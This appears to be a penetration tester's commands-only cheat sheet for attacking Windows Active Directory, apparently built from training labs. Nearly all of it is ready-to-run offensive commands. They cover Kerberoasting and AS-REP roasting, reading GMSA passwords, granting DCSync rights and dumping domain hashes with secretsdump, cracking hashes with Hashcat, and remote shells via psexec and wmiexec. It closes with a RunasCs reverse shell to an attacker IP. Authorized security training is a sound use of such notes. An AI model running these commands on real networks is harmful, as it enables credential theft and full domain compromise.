Commands Only Summary
πͺ = Windows, π§ = Linux
Active Directory
πͺ SharpView (C# Port of PowerView)
AD Enumeration tool. C# port of πͺ PowerView (Now deprecated). Same commands
Get help about a command
.\SharpView.exe Get-DomainUser -HelpEnumerate information about a specific user
.\SharpView.exe Get-DomainUser -Identity <username>πͺ PowerView (Now deprecated)
AD Enumeration Tools
Import
Import-Module ./PowerViewInformation for specific User or All users
Get-DomainUser -Identity <username> -Domain <inlanefreight.local> | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,useraccountcontrolGroup specific info
Get-DomainGroupMember -Identity "Domain Admins" -RecurseEnumerate domain trust mappings
Get-DomainTrustMappingTest for local admin access on either the current machine or a remote one
Test-AdminAccess -ComputerName ACADEMY-EA-MS01Check Kerberoasting attack possibility
Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalNameπͺ BloodHound
Collect data
.\SharpHound.exe -c All --zipfilename <outputFileName>πͺ [Built-in] ActiveDirectory PowerShell Module
AD Enumeration tools
Discover Modules
Get-ModuleLoad ActiveDirectory Module
Import-Module ActiveDirectoryGet Domain Info
Get-ADDomainList accounts that may be susceptible to a Kerberoasting attack
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalNameVerify domain trust relationships
Get-ADTrust -Filter *Group Enumeration
Get-ADGroup -Filter * | select nameGroup Information
Get-ADGroup -Identity "Backup Operators"Group Membership Listing
Get-ADGroupMember -Identity "Backup Operators"If part of GMSA_MANAGERS Group, Set yourself as someone who can read the password
Set-ADServiceAccount -Identity "target$" -PrincipalsAllowedToRetrieveManagedPassword "yourUser"πͺ Snaffler
Snaffler is a tool that can help us acquire credentials or other sensitive data in an Active Directory environment. Snaffler works by obtaining a list of hosts within the domain and then enumerating those hosts for shares and readable directories. Once that is done, it iterates through any directories readable by our user and hunts for files that could serve to better our position within the assessment. Snaffler requires that it be run from a domain-joined host or in a domain-user context.
Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v dataπ§ CrackMapExec (deprecated) | NetExec (updated)
A swiss army knife for pentesting networks
Help for specific protocol
crackmapexec smb -hDomain User Enumeration
sudo crackmapexec smb <IP> -u <username> -p <password> --usersDomain Group Enumeration
sudo crackmapexec smb <IP> -u <username> -p <password> --groupsLogged On Users
sudo crackmapexec smb <IP> -u <user> -p <password> --loggedon-usersShare Searching
sudo crackmapexec smb <IP> -u <user> -p <password> --sharesDig Through Share
sudo crackmapexec smb <IP> -u <user> -p <password> -M spider_plus --share '<shareName>'Password Policy
sudo crackmapexec smb <IP> --pass-pol -u <user> -p <password>Group Policy Password misconfiguration (GPP, usually to check if read access to SYSVOL)
sudo crackmapexec smb IP -u username -p password -M gpp_autologinEnumerate users from RID (for when the --users command doesnt work)
sudo crackmapexec smb IP -u 'user' -p 'pass' --rid-brute | grep 'SidTypeUser'Get GMSA passwords
sudo netexec ldap IP -u 'user' -p 'password' --gmsaGet Group membership users
sudo netexec smb DCIP -u 'USER' -p 'PASSWORD' --groups "GROUP"Find certificate server (ADCS)
sudo netexec ldap DCIP -u 'USER' -p 'PASSWORD' -M adcsList Kerberoastable users
sudo netexec ldap DCIP -u USER -p PASS --kerberoasting output.txtAS_REP version with --asreproast flag
π§ SMBMap
SMBMap is great for enumerating SMB shares from a Linux attack host. It can be used to gather a listing of shares, permissions, and share contents if accessible.
SMBMap To Check Access
smbmap -u <user> -p <password> -d <DOMAIN> -H <IP>Recursive List Of All Directories
smbmap -u <user> -p <password> -d <DOMAIN> -H <IP> -R 'Department Shares' --dir-onlyπ§ rpcclient
Useful for enumeration with NULL sessions
Connect to anonymous session
rpcclient -U '' IPEnumerate all users to gather the RIDs
rpcclient $> enumdomusersUser Enumeration By RID
rpcclient $> queryuser 0x457π§ Impacket Toolkit
Impacket is a versatile toolkit that provides us with many different ways to enumerate, interact, and exploit Windows protocols and find the information we need using Python.
Shell on target device (PSExec)
psexec.py <domain/user>:'<password>'@<IP>Stealthier Shell on target device (wmiexec.py)
A more stealthy approach to execution on hosts than other tools, but would still likely be caught by most modern anti-virus and EDR systems.
wmiexec.py <domain/user>:'<password>'@<IPFinding ASREProasting targets
No user specification needed
GetNPUsers -dc-ip IP -request 'htb.local/' -format hashcatEdit DACL to get DCSync
target-dn is the LDAP format, like DC=htb,DC=local
impacket-dacledit -action 'write' -rights 'DCSync' -principal 'USER' -target-dn 'DC=HTB,DC=LOCAL' 'DOMAIN'/'USER':'PASSWORD'DCSync attack, secretsdump
impacket-secretsdump DOMAIN/USER:PASSWORD@DCIPπ§ Windapsearch
Windapsearch is another handy Python script we can use to enumerate users, groups, and computers from a Windows domain by utilizing LDAP queries.
Enumerate Domain Admins
python3 windapsearch.py --dc-ip <DC_IP> -u <user>@<domain> -p <password> --daEnumerate Priviledged Users
python3 windapsearch.py --dc-ip <DC_IP> -u <user>@<domain> -p <password> -PUπ§ Bloodhound.py
Collect data for BloodHound GUI from a Linux host
sudo bloodhound-python -u '<username>' -p '<password>' -ns <DC_IP> -d <domain> -c all --zipNTLM Hash instead of password
(the NTLM hash needs to be preceded by the :). Use -c all or -c dconly
bloodhound-python -d DOMAIN -u 'USER' --hashes ':NTLM_HASH' -dc DC_FQDM -ns DCIP --zip -c allπ§ ldapsearch
-h <host>-xsimple authentication (anonymous)-sscope (-s base namingcontexts). Output of this goes in the-bflag content-bbase (-b "DC=htb,DC=local") (Basically the searching scope)
Get naming context (domain name)
ldapsearch -h IP -x -s base namingcontextsGet anonymous info
ldapsearch -h IP -x -b "DC=TEST,DC=LOCAL"Query for users (Object class of Person)
ldapsearch -h IP -x -b "DC=TEST,DC=LOCAL" '(objectClass=Person)'Usually the class can be person, organizationalPerson or user
Query for users and only show username
ldapsearch -h IP -x -b "DC=TEST,DC=LOCAL" '(objectClass=Person)' sAMAccountName(you can add more things at the end, such as sAMAccountName userPrincipalName)
π§ Evil-winrm
Connect with kerberos
impacket-getTGT DOMAIN/'USER':'PASSWORD' -dc-ip DCIP
export KRB5CCNAME=USER.ccacheevil-winrm -i TARGETIP -r DOMAIN -k USER.ccacheπ§ πͺ Hashcat
hashcat -m 5600 <NTLM_HASH> <wordlist>secretsdump output
cat dc_hash.txt | awk -F: '{print($1":"$4)}'hashcat -m 1000 --user file wordlistFind Hashcat mode
hashcat --example-hashes | grep <something> -B 2Generate password list from rules
hashcat --force --stdout pwlist.txt -r /usr/share/hashcat/rules/best64.rule -r /usr/share/hashcat/rules/toggles.rule | sort -uLimit length of passwords
awk 'length($0) > 7'Hashes in user:hash format to save user info
Put the hashes in a file in the user:hash format, for example for NTLM hashes then use the flag --user for automatically make hashcat discard that first column and use the rest as the hash. This allows to use --show to then recover the user of the cracked password from the potfile.
π§ BloodyAD
Swiss army knife for AD privilege escalation
As other tools, to use NTLM hashes on this put them in the -p password field PRECEDED by a :
Set yourself as owner
bloodyAD --host "DCIP" -d "DOMAIN" -u "YOURACCOUNT" -p ":HASH" set owner GROUP YourAccountGet Writable
bloodyAD --host DCIP -d DOMAIN -u USER -p 'PASSWORD' get writable --detailAdd user to group (GenericAll over group)
bloodyAD --host DCIP -d DOMAIN -u USER -p 'PASSWORD' add groupMember "GROUP" USERAdd DCSync rights to user
bloodyAD --host DCIP -d DOMAIN -u USER -p 'PASSWORD' add dcsync "TARGETUSER"Read GMSA password
ReadGMSAPassword privilege abuse
Following command uses -k for Kerberos (needs export KRB5CCNAME= to be set)
bloodyAD --host DC.FQDN.LOCAL -d "DOMAIN.LOCAL" --dc-ip DCIP -k get object 'TARGET' --attr msDS-ManagedPasswordDisable Pre Authentication
this makes the accounts vulnerable to asreproasting, requires GenericAll or other ways to control account
bloodyAD --host DC.FQDN.LOCAL -d "DOMAIN.LOCAL" --dc-ip DCIP -k add uac TARGET -f DONT_REQ_PREAUTHEnable account
This is handy when an account is disabled but you control it through GenericAll or other write permissions
bloodyAD --host DC.FQDN.LOCAL -d "DOMAIN.LOCAL" --dc-ip DCIP -k remove uac TARGET -f ACCOUNTDISABLEπ§ ntpdate
Useful to adjust the system clock to one of another machine. Solves problem like kerberos Clock skew too great
sudo apt install ntpdatesudo ntpdate <IP or FQDN>Disable NTP first:
sudo timedatectl set-ntp offAlso if in a VM, check that no option to sync the time is set on your VM software. For example on VirtualBox on a Windows Host:
cd "C:\Program Files\Oracle\VirtualBox"
.\VBoxManage.exe setextradata "Kali" "VBoxInternal/Devices/VMMDev/0/Config/GetHostTimeDisabled" 1πͺ Mounting smb share (auth) from command line
net use K: \\IP\share /user:username passwordlist with
net useπͺ Refreshing Privileges after privesc without closing and reopening
Useful in occasions when restarting the connection is more annoying than downloading a binary on the machine. Example is when assigning your own user to the administrators group
.\RunasCs.exe USER PASSWORD powershell -r ATTACKERIP:PORTLast updated